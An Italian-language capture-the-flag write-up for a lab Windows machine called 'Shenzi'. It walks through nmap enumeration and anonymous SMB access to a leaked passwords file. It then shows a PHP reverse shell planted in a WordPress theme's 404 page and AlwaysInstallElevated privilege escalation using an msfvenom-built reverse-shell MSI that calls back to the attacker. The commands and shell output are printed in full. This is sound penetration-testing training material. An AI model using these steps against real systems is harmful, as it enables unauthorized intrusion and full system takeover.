Vai al contenuto

Shenzi

Network

  • Ip Target: 192.168.154.55

Enumeration

Port Service Version Notes
21/tcp ftp FileZilla ftpd 0.9.41 beta FTP
80/tcp http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) HTTP
135/tcp msrpc Microsoft Windows RPC MSRPC
139/tcp netbios-ssn Microsoft Windows netbios-ssn SMB
443/tcp https Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6) HTTPS
445/tcp microsoft-ds SMB
3306/tcp mysql MYSQL
5040/tcp unknown
49664/tcp unknown
49665/tcp unknown
49666/tcp unknown
49667/tcp unknown
49668/tcp unknown
49669/tcp unknown
Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ sudo nmap -Pn -p- -oN alltcp_ports.txt 192.168.154.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 14:37 CET
Nmap scan report for 192.168.154.55
Host is up (0.080s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5040/tcp  open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 100.63 seconds
Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ sudo nmap -Pn -sC -sV -p21,80,135,139,443,445,330,5040,49664,49665,49666,49667,49668,49669 -oN alltcp.txt 192.168.154.55
[sudo] password for momphucker: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 16:53 CET
Nmap scan report for 192.168.154.55
Host is up (0.076s latency).

PORT      STATE  SERVICE       VERSION
21/tcp    open   ftp           FileZilla ftpd 0.9.41 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
80/tcp    open   http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.154.55/dashboard/
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
330/tcp   closed unknown
443/tcp   open   ssl/http      Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was https://192.168.154.55/dashboard/
445/tcp   open   microsoft-ds?
5040/tcp  open   unknown
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp open   msrpc         Microsoft Windows RPC
49668/tcp open   msrpc         Microsoft Windows RPC
49669/tcp open   msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1s
| smb2-time: 
|   date: 2024-12-21T15:56:21
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.03 seconds

Port 80

001.png

002.png

003.png

Port 139,445

Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ smbclient --no-pass -L //192.168.154.55        

        Sharename       Type      Comment
        ---------       ----      -------
        IPC$            IPC       Remote IPC
        Shenzi          Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.154.55 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Verifico il contenuto della cartella condivisa Shenzi

Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ smbclient --no-pass //192.168.154.55/Shenzi
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu May 28 17:45:09 2020
  ..                                  D        0  Thu May 28 17:45:09 2020
  passwords.txt                       A      894  Thu May 28 17:45:09 2020
  readme_en.txt                       A     7367  Thu May 28 17:45:09 2020
  sess_klk75u2q4rpgfjs3785h6hpipp      A     3879  Thu May 28 17:45:09 2020
  why.tmp                             A      213  Thu May 28 17:45:09 2020
  xampp-control.ini                   A      178  Thu May 28 17:45:09 2020

12941823 blocks of size 4096. 6506892 blocks available

Scarico tutti i files in locale:

Bash
smb: \> mget *

Il file passwords.txt contiene una serie di dati interessanti, tra cui le seguenti credenziali:

Text Only
[...]
5) WordPress:

   User: admin
   Password: FeltHeadwallWight357
[...]

Questo suggerisce una installazione di wordpress, il che è altamente probabile considerato il contesto che presenta una installazione funzionante di xampp, php e mysql. Una scansione dei path con gobuster e feroxbuster non rileva alcuna installazione di wordpress. Il che è anche normale perchè questi tool individuano dei path dati da una lista ma difficilmente il nome di un sito custom sarà presente su una lista. Generalmente un sito in sviluppo su xampp è una sottodirectory dell'installazione stessa, quindi ad esempio localhost/nome-del-sito.

Le informazioni php presenti nella pagina http://192.168.154.55/dashboard/phpinfo.php, ovvero che sia il nome utente, che il nome della macchina e altre info, si chiamano shenzi, forse anche il sito protrebbe avere questo nome.

E infatti:

004.png

Il login al backend dell'installazione di wordpress ha successo con le credenziali precedentemente trovate! L'utente è anche admin.

Exploit

Ho provto a caricare alcune reverse shell tramite plugin, ma sempre senza alcun successo. L'errore tipico è stato di questo tipo:

Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ sudo nc -nvlp 443
listening on [any] 443 ...

connect to [192.168.45.172] from (UNKNOWN) [192.168.154.55] 50981
'uname' is not recognized as an internal or external command,
operable program or batch file.

Ho creato una reverse shell su revshells.com di tipo PHP Ivan Sincek sulla porta 443 e caricato il codice al posto di quello della pagina 404.php del tema attivo, al seguente link:

Text Only
http://192.168.154.55/shenzi/wp-admin/theme-editor.php?file=404.php&theme=twentytwenty

e ho salvato il codice:

005.png

Ho aperto un listener in ascolto:

Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ sudo nc -nvlp 443
listening on [any] 443 ...

e visitato una pagina del sito wordpress che non esiste in modo da attivare la pagina 404, ad esempio http://192.168.154.55/shenzi/404, ed eseguire il paylod.

Esito positivo:

Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ sudo nc -nvlp 443
listening on [any] 443 ...
connect to [192.168.45.172] from (UNKNOWN) [192.168.154.55] 51010
SOCKET: Shell has connected! PID: 2284
Microsoft Windows [Version 10.0.19042.1526]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\shenzi>whoami
shenzi\shenzi

Recupero la flag local.txt:

006.png

Privilege Escalation

Carico ed eseguo winPEASany.exe e trovo la seguente info:

007.png

Dalla fonte book.hacktricks.xyz:

Info

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

Text Only
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Questo sembra molto interessante! Creo un payload in questo modo, seguendo questa fonte su Medium:

Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.172 LPORT=4455 -a x64 --platform Windows -f msi -o evil.msi
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: evil.msi

Carico il payload sul target e apro un listener:

Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ nc -nvlp 4455        
listening on [any] 4455 ...

Eseguo il payload dalla macchina target:

PowerShell
C:\Users\shenzi\Desktop>evil.msi

E si apre la shell come SYSTEM sul listener in ascolto:

Bash
┌──(momphucker㉿kali-vmw-warmachine)-[~/Desktop/offsec_/machines/Shanzi]
└─$ nc -nvlp 4455        
listening on [any] 4455 ...
connect to [192.168.45.172] from (UNKNOWN) [192.168.154.55] 51317
Microsoft Windows [Version 10.0.19042.1526]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

Non resta che recuperare la flag proof.txt:

008.png